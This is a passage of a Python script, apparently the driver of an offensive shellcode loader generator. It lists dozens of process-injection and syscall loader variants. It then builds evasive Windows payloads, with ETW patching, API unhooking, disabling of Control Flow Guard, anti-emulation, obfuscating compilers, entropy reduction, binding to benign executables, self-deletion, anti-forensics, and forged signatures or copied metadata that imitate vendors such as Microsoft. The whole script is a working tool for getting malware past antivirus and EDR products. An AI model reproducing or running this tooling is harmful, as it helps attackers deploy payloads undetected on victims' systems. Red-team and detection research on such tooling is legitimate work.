16. Classic userland API calls (VirtualAllcEx --> WriteProcessMemory --> CreateRemoteThread)
|
|
17. Sifu SysCall with Divide and Conquer
|
|
18. Classic userland API calls with WriteProcessMemoryAPC
|
|
19. DLL overloading
|
|
20. Stealth new Injection (WriteProcessMemoryAPC + DLL overloading)
|
|
21.
|
|
22. Advanced indirect custom call stack syscall, using VEH-->VCH logic and manually remove handlers from the list.
|
|
23.
|
|
24. Classic native API
|
|
25.
|
|
26. Stealth new Injection (3 WriteProcessMemoryAPC variants + custom DLL overloading + custom dynamic API-hashing)
|
|
27. Stealth new Injection (3 Custom WriteProcessMemoryAPC variants + custom DLL overloading + custom dynamic API-hashing + Halo's gate patching)
|
|
28. Halo's gate patching syscall injection + Custom write code to Process Memory by either MAC or UUID convertor + invisible dynamic loading (no loadModuleHandle, loadLibrary, GetProcessAddress)
|
|
29. Classic indirect syscall
|
|
30. Classic direct syscall
|
|
31. MAC address injection
|
|
32. Stealth new injection (Advanced)
|
|
33. Indirect Syscall + Halo gate + Custom Call Stack
|
|
34. EDR syscall no.1 + Halo gate + EDR Call Stack 1
|
|
36. EDR syscall no.2 + Halo gate + EDR Call Stack 2
|
|
37. Stealth new loader (Advanced, evade memory scan)
|
|
38. A novel PI with APC write method and phantom DLL overloading execution (CreateThread pointed to a memory address of UNMODIFIED DLL.)
|
|
39. Custom Stack PI (remote) with threadless execution
|
|
40. Custom Stack PI (remote) Threadless DLL Notification Execution
|
|
41. Custom Stack PI (remote) with Decoy code execution
|
|
48. Stealth new loader + Syscall breakpoints handler with memory guard AKA Sifu breakpoint handler (hook on NtResumeThread)
|
|
49. Stealth new loader + Syscall breakpoints handler with memory guard evasion AKA Sifu breakpoint handler (hook on NtCreateThreadEx, with Decoy address, PAGE_NOACCESS and XOR)
|
|
50. Woodpecker process injection, tactics similar to Kenshin-ko. Focused on classification evasion.
|
|
51. Stealth new loader + Syscall breakpoints handler with memory guard evasion AKA Sifu breakpoint handler (hook on ntdll!RtlUserThreadStart and kernel32!BaseThreadInitThunk, with Decoy address, PAGE_NOACCESS and XOR)
|
|
52. RoP gadgets as the trampoline code to execute the magic code.
|
|
53.
|
|
54. Stealth new loader + Exception handler + Syscall breakpoints handler with memory guard evasion AKA Sifu breakpoint handler (hook on ntdll!RtlUserThreadStart and kernel32!BaseThreadInitThunk, with Decoy address, PAGE_NOACCESS and XOR)
|
|
56. This is a fork of Loader 37 with additional features. If -ldr flag is not provided, loader will add module (contains the shellcode) to the PEB module lists manually using code from Dark library.
|
|
57. A fork of loader 51 with XOR replaced with RC4 encryption offered by SystemFunction032/033.
|
|
58. VEH add hanlder. Add ROP Trampoliine to the kernel32!BaseThreadInitThunk for additional complexity to analyse.
|
|
59. SEH add hanlder. Add ROP Trampoliine to the kernel32!BaseThreadInitThunk for additional complexity to analyse.
|
|
60. Use Page guard to trigger first exception to set debug registers without using NtGetContextThread --> NtSetContextThread
|
|
61. Use Page guard to trigger first exception to set debug registers without using NtGetContextThread --> NtSetContextThread + Use VEH to set up breakpoints Dr0~Dr3, Dr7. Then use VCH to execute the code. So, no registers and stack pointer and instruction pointer changed in VEH.
|
|
62. New loader in progress.
|
|
63. Remote version of custom module loading loader 37. Remote module injection.
|
|
64.
|
|
65. Advanced VMT hooking with custom module loader 37.
|
|
66. A fork of L-65, with additional features such as optional PPID spoofing, multiple shellcode and DLL injection mitigation policies enabled on remote process.
|
|
67. A fork of L-65, with strange trampoline code to execute the magic code in both local and remote process.
|
|
68. New loader in progress.
|
|
69. A fork of L-61, manually set VEH and VCH and clean ups by remove the CrossProcessFlags from TEB->PEB.
|
|
...
|
|
73. VT Pointer threadless process injection, can be invoked with decoy address to any function or triggered by injected application (e.g. explorer). Memory guard available with RC4 encryption and PAGE_NOACCESS.
|
|
74. VT Pointer threadless process injection, can be invoked with decoy address to any function or triggered by injected application (e.g. explorer). Memory guard available with RC4 encryption and PAGE_NOACCESS. The VirtualProtect is being called within pretext.
|
|
|
|
75. Dotnet JIT threadless process injection.
|
|
76. Module List PEB Entrypoint threadless process injection.
|
|
77. VT Pointer threadless process injection. Use RtlCreateHeap instead of BaseThreadInitThunk virtual table pointer.
|
|
79. Proxy function call stub 2 step process injection: Kagemusha PI. Only CreateThread is called without explicitly call to Write primitive.
|
|
|
|
"""
|
|
|
|
def check_non_negative(value):
|
|
ivalue = int(value)
|
|
if ivalue < 0:
|
|
raise argparse.ArgumentTypeError("%s is an invalid non-negative int value" % value)
|
|
return ivalue
|
|
|
|
def print_selected_options(args):
|
|
for arg, value in vars(args).items():
|
|
if value is not None and value is not False:
|
|
print(f"[+] Option \033[95m'{arg}'\033[0m is selected with argument:\033[91m {value} \033[0m")
|
|
|
|
parser = argparse.ArgumentParser(
|
|
description='Process loader and shellcode.',
|
|
epilog=loaders_description,
|
|
formatter_class=argparse.RawDescriptionHelpFormatter
|
|
)
|
|
|
|
parser.add_argument('-f', '--input-file', required=False, help='Path to binary.exe')
|
|
parser.add_argument('-o', '--output-file', help='Optional: Specify the output file path and name. If not provided, a random file name will be used in the ./output directory.')
|
|
|
|
parser.add_argument('-divide', action='store_true', help='Divide flag (True or False)')
|
|
parser.add_argument('-l', '--loader', type=check_non_negative, default=1, help='Loader number (must be a non-negative integer)')
|
|
parser.add_argument('-dll', action='store_true', help='Compile the output as a DLL instead of an executable, can be run with rundll32.exe')
|
|
parser.add_argument('-cpl', action='store_true', help='Compile the output as a CPL instead of an executable, can be run with control.exe')
|
|
|
|
|
|
parser.add_argument('-sleep', action='store_true', help='Obfuscation Sleep flag with random sleep time (True or False)')
|
|
parser.add_argument('-a', '--anti-emulation', action='store_true', help='Anti-emulation flag (True or False)')
|
|
|
|
parser.add_argument('-cfg', '--control-flow-guard', action='store_true', help='Disable Control Flow Guard (CFG) for the loader template.')
|
|
|
|
|
|
parser.add_argument('-etw', action='store_true', help='Enable ETW patching functionality')
|
|
|
|
parser.add_argument('-j', '--junk-api', action='store_true', help='Insert junk API function call at a random location in the main function (5 API functions)')
|
|
|
|
parser.add_argument('-dream', type=int, nargs='?', const=1500, default=None,
|
|
help='Optional: Sleep with encrypted stacks for specified time in milliseconds. Defaults to 1500ms if not provided.')
|
|
|
|
|
|
parser.add_argument('-u', '--api-unhooking', action='store_true', help='Enable API unhooking functionality')
|
|
parser.add_argument('-g', '--god-speed', action='store_true', help='Enable advanced unhooking technique Peruns Fart (God Speed)')
|
|
|
|
parser.add_argument('-t', '--shellcode-type', default='donut', choices=['donut', 'pe2sh', 'rc4', 'amber', 'shoggoth', 'augment'], help='Shellcode generation tool: donut (default), pe2sh, rc4, amber, shoggoth or augmented loader')
|
|
parser.add_argument('-sd', '--star_dust', action='store_true', help='Enable Stardust PIC generator, input should be .bin')
|
|
|
|
|
|
parser.add_argument('-sgn', '--encode-sgn', action='store_true', help='Encode the generated shellcode using sgn tool.')
|
|
|
|
## TODO: Add support for other encoding types
|
|
parser.add_argument('-e', '--encoding', choices=['uuid', 'xor', 'mac', 'ipv4', 'base45', 'base64', 'base58', 'aes', 'des', 'chacha', 'rc4', 'aes2', 'ascon'], help='Encoding type: uuid, xor, mac, ip4, base45, base64, base58, AES, DES, chacha, RC4 and aes2. aes2 is a devide and conquer AES decryption to bypass logical path hijacking. Other encoders are under development. ')
|
|
|
|
|
|
parser.add_argument('-c', '--compiler', default='mingw', choices=['mingw', 'pluto', 'akira'], help='Compiler choice: mingw (default), pluto, or akira')
|
|
parser.add_argument('-mllvm', type=lambda s: [item.strip() for item in s.split(',')], default=None, help='LLVM passes for Pluto or Akira compiler')
|
|
parser.add_argument('-obf', '--obfuscate', action='store_true', help='Enable obfuscation of codebase (source code)')
|
|
# add obf_api option to obfuscate the API calls:
|
|
parser.add_argument('-obf_api', '--obfuscate-api', action='store_true', help='Enable obfuscation of API calls in ntdll and kernel32.')
|
|
|
|
parser.add_argument('-w', '--syswhisper', type=int, nargs='?', const=1, default=None,
|
|
help='Optional: Use SysWhisper for direct syscalls. 1 for random syscall jumps (default), 2 for compiling with MingW and NASM.')
|
|
|
|
parser.add_argument('-entropy', type=int, choices=[1, 2], default=0, help='Entropy level for post-processing the output binary. 1 for null_byte.py, 2 for pokemon.py')
|
|
parser.add_argument('-b', '--binder', nargs='?', const='binder/calc.exe', help='Optional: Path to a utility for binding. Defaults to binder/calc.exe if not provided.')
|
|
|
|
|
|
## add a new option that adds watermark to our binary, this is true by default if not specified:
|
|
parser.add_argument('-wm', '--watermark', type=int, nargs='?', const=1, default=1, help='Add watermark to the binary (0 for False, 1 or no value for True)')
|
|
|
|
## TODO:
|
|
### need a -d --self-deletion argument where the binary deletes itself after execution, it should be False by default:
|
|
parser.add_argument('-d', '--self-deletion', action='store_true', help='Enable self-deletion of the binary after execution')
|
|
|
|
### need a -af --anti-forensic argument, it should be False by default:
|
|
parser.add_argument('-af', '--anti-forensic', action='store_true', help='Enable anti-forensic functions to clean the execution traces.')
|
|
parser.add_argument('-icon', action='store_true', help='Enable icon for the output binary.')
|
|
|
|
|
|
parser.add_argument('-s', '--sign-certificate', nargs='?', const='ask_user',
|
|
help='Optional: Sign the output binary and copy metadata from another binary to your output. If a website or filepath is provided, use it. Defaults to interactive mode if no argument is provided.')
|
|
|
|
|
|
parser.add_argument(
|
|
'-dh', '--detect-hooks',
|
|
action='store_true',
|
|
help='Compile a small tool called check_hook.exe for detecting inline/IAT/EAT hooks. This tool can detect both native API and export function hooks.'
|
|
)
|
|
|
|
|
|
### todo: consider add another post-compiled obfuscation from BH Europe 24 here:
|
|
# ./notpacked++ alice_notepad.exe --raw-size --fill-sections --rename-sections
|
|
# Above, only those 3 options can be used, another option will corrupt the binary.
|
|
|
|
args = parser.parse_args()
|
|
|
|
|
|
print_selected_options(args)
|
|
|
|
|
|
if args.detect_hooks:
|
|
compile_unhook_iat()
|
|
sys.exit()
|
|
|
|
if args.input_file.endswith('.bin'):
|
|
print("The input file ends with .bin")
|
|
choice = input("Choose your Position Independent Code converter:\n1) donut\n2) stardust\nEnter your choice (1 or 2): ")
|
|
|
|
if choice == '1':
|
|
args.shellcode_type = 'donut'
|
|
print("Shellcode type set to donut.")
|
|
elif choice == '2':
|
|
args.star_dust = True
|
|
print("Star dust set to True.")
|
|
else:
|
|
print("Invalid choice. Default to donut.")
|
|
args.shellcode_type = 'donut'
|
|
else:
|
|
print("Input file is not a raw shellcode ends with .bin")
|
|
|
|
# Adjust shellcode_file name based on the shellcode type
|
|
# TODO: Add more shellcode PIC generators here:
|
|
if args.shellcode_type == 'donut':
|
|
shellcode_file = 'note_donut'
|
|
elif args.shellcode_type == 'pe2sh':
|
|
shellcode_file = 'note_pe2sh'
|
|
elif args.shellcode_type == 'rc4':
|
|
shellcode_file = 'note_rc4'
|
|
elif args.shellcode_type == 'amber':
|
|
shellcode_file = 'note_amber'
|
|
elif args.shellcode_type == 'shoggoth':
|
|
shellcode_file = 'note_shoggoth'
|
|
elif args.shellcode_type == 'augment':
|
|
shellcode_file = 'note_augment'
|
|
else:
|
|
# Default case, though this should never be hit due to argparse choices constraint
|
|
shellcode_file = 'note_donut'
|
|
|
|
|
|
if args.star_dust:
|
|
handle_star_dust(args.input_file)
|
|
# Change input file to the generated boaz.x64.bin for further processing
|
|
args.input_file = 'boaz.x64'
|
|
|
|
generate_shellcode(args.input_file, shellcode_file, args.shellcode_type, args.encode_sgn, args.encoding, args.star_dust)
|
|
if args.star_dust:
|
|
shellcode_file = f'boaz.x64'
|
|
shellcode = read_shellcode(shellcode_file)
|
|
# print shellcode_file
|
|
# print(f"[!] Shellcode file: {shellcode_file}")
|
|
|
|
template_loader_path = f'loaders/loader_template_{args.loader}.c' if args.loader != 1 else 'loaders/loader1.c'
|
|
output_loader_path = f'loaders/loader{args.loader}_modified.c' if args.loader != 1 else 'loaders/loader1_modified.c'
|
|
|
|
### Deal with syswhisper option:
|
|
# Determine if SysWhisper-specific handling is required
|
|
use_syswhisper = args.syswhisper is not None or args.loader == 15
|
|
|
|
if use_syswhisper:
|
|
# Override loader template and output paths for SysWhisper or loader 15
|
|
template_loader_path = 'loaders/loader_template_15.c'
|
|
output_loader_path = 'loaders/loader15_modified.c'
|
|
|
|
|
|
if args.output_file:
|
|
output_file_path = args.output_file
|
|
output_dir = os.path.dirname(output_file_path) or '.' # Use current directory if no directory is specified
|
|
|
|
# The os.makedirs call with exist_ok=True ensures that the directory is created if it does not exist,
|
|
# and does nothing if it already exists, preventing any FileNotFoundError
|
|
os.makedirs(output_dir, exist_ok=True)
|
|
else:
|
|
# If no -o option is provided, use the ./output directory
|
|
print("No output file specified. Using the default ./output directory.\n")
|
|
output_dir = './output'
|
|
if not os.path.exists(output_dir):
|
|
os.makedirs(output_dir)
|
|
|
|
# Generate a random filename for the output file
|
|
random_filename = generate_random_filename() + '.exe'
|
|
output_file_path = os.path.join(output_dir, random_filename)
|
|
|
|
file_name = os.path.basename(output_file_path)
|
|
|
|
|
|
|
|
# print(f"Output file name: {file_name}")
|
|
##print the args.encoding:
|
|
# print(f"using encoding option: {args.encoding}")
|
|
# write_loader(template_loader_path, shellcode, shellcode_file, args.shellcode_type, output_loader_path, args.sleep, args.anti_emulation, args.junk_api, args.api_unhooking, args.god_speed, args.encoding)
|
|
write_loader(template_loader_path, shellcode, shellcode_file, args.shellcode_type, output_loader_path, args.sleep, args.anti_emulation, args.junk_api, args.api_unhooking, args.god_speed, args.encoding, args.dream, file_name, args.etw, compile_as_dll=args.dll, compile_as_cpl=args.cpl, star_dust = args.star_dust, self_deletion=args.self_deletion, anti_forensic=args.anti_forensic, cfg=args.control_flow_guard)
|
|
|
|
if args.obfuscate:
|
|
print("Obfuscating the loader code...\n")
|
|
run_obfuscation(output_loader_path)
|
|
obfuscated_loader_path = output_loader_path.replace('.c', '_obf.c')
|
|
else:
|
|
# If obfuscation is not applied, use the original loader path
|
|
obfuscated_loader_path = output_loader_path
|
|
|
|
|
|
## if compile_as_dll is set, change the output name to a .dll file:
|
|
if args.dll:
|
|
output_file_path = output_file_path.replace('.exe', '.dll')
|
|
print("Compiling as a DLL file... \n")
|
|
elif args.cpl:
|
|
output_file_path = output_file_path.replace('.exe', '.cpl')
|
|
print("Compiling as a CPL file... \n")
|
|
|
|
|
|
##print the output_file_path
|
|
print(f"Output file path: {output_file_path}")
|
|
if use_syswhisper:
|
|
compile_with_syswhisper(obfuscated_loader_path, output_file_path, args.syswhisper if args.syswhisper is not None else 1, args.sleep, args.anti_emulation, args.junk_api, args.compiler, args.api_unhooking, args.god_speed, args.encoding, args.dream, args.etw, args.self_deletion, args.anti_forensic, cfg=args.control_flow_guard)
|
|
else:
|
|
compile_output(obfuscated_loader_path, output_file_path, args.compiler, args.sleep, args.anti_emulation, args.junk_api, args.api_unhooking, args.mllvm, args.god_speed, args.encoding, args.loader, args.dream, args.etw, args.dll, args.cpl, args.self_deletion, args.anti_forensic, cfg=args.control_flow_guard, icon=args.icon)
|
|
|
|
|
|
|
|
## uncomment the below line to clean up obfuscation code base:
|
|
## you can retain them to inspect changes made.
|
|
# cleanup_files(output_loader_path, output_loader_path.replace('.c', '_obf.c'))
|
|
|
|
### Reduce the entropy to 6.1:
|
|
if args.entropy == 1:
|
|
# Run null_byte.py on the output binary
|
|
subprocess.run(['python3', './entropy/null_byte.py', output_file_path], check=True)
|
|
elif args.entropy == 2:
|
|
# Run pokemon.py on the output binary
|
|
subprocess.run(['python3', './entropy/pokemon.py', output_file_path], check=True)
|
|
elif args.entropy == 0:
|
|
print("[-] No entropy reduction applied.\n")
|
|
|
|
if args.binder:
|
|
temp_output_file_path = output_file_path.replace('.exe', '_temp.exe')
|
|
binder_utility = args.binder if args.binder else 'binder/calc.exe'
|
|
subprocess.run(['wine', 'binder/binder.exe', output_file_path, binder_utility, binder_utility, '-o', temp_output_file_path], check=True)
|
|
## rename temp file back to original:
|
|
os.rename(temp_output_file_path, output_file_path)
|
|
|
|
if args.obfuscate_api:
|
|
obfuscate_with_api(output_file_path)
|
|
elif not args.obfuscate_api:
|
|
## strip the binary, if not obfuscating the API. Because the obfuscation tool will not be compatiable with the format.
|
|
print("Stripping the binary to reduce its size and potentially increase its stealth.")
|
|
# strip_binary(output_file_path)
|
|
|
|
## Add watermark to the binary:
|
|
# args.watermark = bool(args.watermark)
|
|
# if args.watermark:
|
|
# add_watermark(output_file_path)
|
|
|
|
|
|
def sign_with_carbon_copy(website, output_file_path, signed_output_file_path):
|
|
carbon_copy_command = f"python3 signature/CarbonCopy.py {website} 443 {output_file_path} {signed_output_file_path}"
|
|
subprocess.run(carbon_copy_command, shell=True, check=True)
|
|
## clean up files in certs folder in current directory, the cleanup files
|
|
cleanup_files('certs/')
|
|
|
|
|
|
def sign_with_mangle(file_path, output_file_path, signed_output_file_path):
|
|
mangle_command = f"./signature/Mangle -C {file_path} -I {output_file_path} -O {signed_output_file_path} -M"
|
|
subprocess.run(mangle_command, shell=True, check=True)
|
|
|
|
def sign_with_metatwin(meta_source_file, output_file_path):
|
|
## metatwin command is: "python3 metatwin.py ../Bob-and-Alice/signature/Desktops.exe ../Bob-and-Alice/alice_notepad.exe"
|
|
metatwin_command = f"python3 signature/metatwin.py {meta_source_file} {output_file_path}"
|
|
subprocess.run(metatwin_command, shell=True, check=True)
|
|
|
|
if args.sign_certificate:
|
|
signed_output_file_path = "signed_" + os.path.basename(output_file_path)
|
|
|
|
# Check for overwrite
|
|
if os.path.exists(signed_output_file_path):
|
|
overwrite = input(f"The file '{signed_output_file_path}' already exists. Do you want to overwrite it? (Y/N): ").strip().upper()
|
|
if overwrite == 'Y' or overwrite == '':
|
|
os.remove(signed_output_file_path)
|
|
elif overwrite == 'N':
|
|
print("Exiting the signing process as per user request.")
|
|
exit()
|
|
else:
|
|
print("Invalid input. Exiting the signing process.")
|
|
exit()
|
|
|
|
# Handle user interactions for certificate signing
|
|
if args.sign_certificate == 'ask_user':
|
|
response = input("Choose the signing method - Vendor (2) or Mangle (1) or MetaTwin (0): ").strip()
|
|
if response == '2':
|
|
vendor_name = input("Enter the vendor website or press enter for default (www.microsoft.com): ").strip()
|
|
vendor_name = vendor_name if vendor_name else 'www.microsoft.com'
|
|
sign_with_carbon_copy(vendor_name, output_file_path, signed_output_file_path)
|
|
elif response == '1':
|
|
program_path = input("Enter the program path or press enter for default (./signature/Desktops.exe): ").strip()
|
|
program_path = program_path if program_path else './signature/Desktops.exe'
|
|
sign_with_mangle(program_path, output_file_path, signed_output_file_path)
|
|
elif response == '0':
|
|
meta_source_file = input("Enter the source file path or press enter for default (./signature/Desktops.exe): ").strip()
|
|
meta_source_file = meta_source_file if meta_source_file else './signature/Desktops.exe'
|
|
sign_with_metatwin(meta_source_file, output_file_path)
|
|
|
|
else:
|
|
print("Invalid option. Exiting.")
|
|
exit()
|
|
elif os.path.isfile(args.sign_certificate):
|
|
# sign_with_mangle(args.sign_certificate, output_file_path, signed_output_file_path)
|
|
sign_with_metatwin(args.sign_certificate, output_file_path)
|
|
# add signed_res_ to original binary name.
|
|
else:
|
|
sign_with_carbon_copy(args.sign_certificate, output_file_path, signed_output_file_path)
|
|
## if we use response 0, our signed output binary will be signed_res_ added to the original output file name, we ned to reflect that:
|
|
if response == '0':
|
|
signed_output_file_path = "signed_res_" + os.path.basename(output_file_path)
|
|
print(f"\033[95m [+] Signed binary generated \033[0m: \033[92m{signed_output_file_path}\033[0m")
|
|
|
|
|
|
## calculate the final output file hash in red colour:
|
|
print(f"[+] Final output file hash: \033[91m{hashlib.md5(open(output_file_path, 'rb').read()).hexdigest()}\033[0m")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
if __name__ == '__main__':
|
|
main()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# ,**///////**,
|
|
# /@@@@@@@@@@@@@@@&&&%%%###%(
|
|
# @@@@@@@@@@@@@@@@&&&%%####&%
|
|
# @@@@@@@@@@@@@@@@@@&&%%##(((
|
|
# @@@@@@@@@@@@@@@@@@&&%%##(((
|
|
# @@@@@@@@@@@@@@@@@@&&%%##(((
|
|
# @@@@@@@@@@@@@@@@@@&&%%##(((
|
|
# (@@@@@@@@@@@@@@@@@@&&%%##(((&,
|
|
# #@@@@@@@@@@@@@@@@@@@@@@&%%###((###%,
|
|
# %@@@@@@@@@@@@@@@@@@@@@@@&&%#####%%%%%.
|
|
# ,@@@@@@@@@@@@@@@@@@@@@@@@&&&&&&%%%%%&
|
|
# /@@@@@@@@@@@@@@@@@@@@@@@@&&&&&&&&
|
|
# (@&&&@@@@@@@@@@@@@@@@@@@@@@&%####*
|
|
# (@@@@@&&&////////////((((#########
|
|
# *@@%#@@@&((///////((((((########%(
|
|
# #@%####((((((((((((((#######%##%
|
|
# .(%%%####################%%(#%
|
|
# .%%%%%#############%%%%((%/
|
|
# #%%%%%%%%%%%%%%%#((%%#*.
|
|
# /%%%%(%%%%%####%%%%%#/,*%##%&(
|
|
# ,&&&&%%%%#%*,,,*/(((((#(,,#(/%##%&&@/
|
|
# %&&&@&&&&%%###%,,****,*%(#&&@@&###%%&@@@(
|
|
# %@@@@@@@@&&&%%%###(,@@@&@@&%*/#%#.##%%&@@@@&.
|
|
# ,@@@@@@@@@&@&&&%%%##(#*%@* .##%%&@@@@@&.
|
|
# *@@@@@@@@@@&&&@&&%%%##(((. ##%%&&@@@@@%
|
|
# .@&@@@@@@@@&&&%%%&&%%%##((// ##%%&&@@@@&@*...
|
|
# &&@@@@@@@&&&&&%%%#&&&%%##(((/* #%%%&&&@&&&&(.....
|
|
# .@@@@@@@@@&&&&%%%####&&%%%##(((/, .%%%&&&@@&&&&%....
|
|
# ,@@@@@@@@@@&&&%%%#####%&&%%%##((((. .%%&&&@&&&&&&#...
|
|
# ,@@@@@@@@@@&&&%%%%%#####&&&%%%####(( .%&&&@&&&&&&/..
|
|
# .@@@@@@@@@@&&&&%%%%%%%%%%%&&&%%%%%###/.&&@&&&&&&*..
|
|
# (@@@@@@@@@@&&&&&%%%%%%%%%%%%&&&&%%%%%%@&&&&%*..
|
|
# .#@@@@@@@@&&&&&&%%%%%%%%%%%%%%%&%%&&&&/,.
|
|
# .,*#&@@@&&&&&&&&%%%%%%%%&&&&%(*...
|
|
# .,,**********,,...
|
|
|
|
|
|
|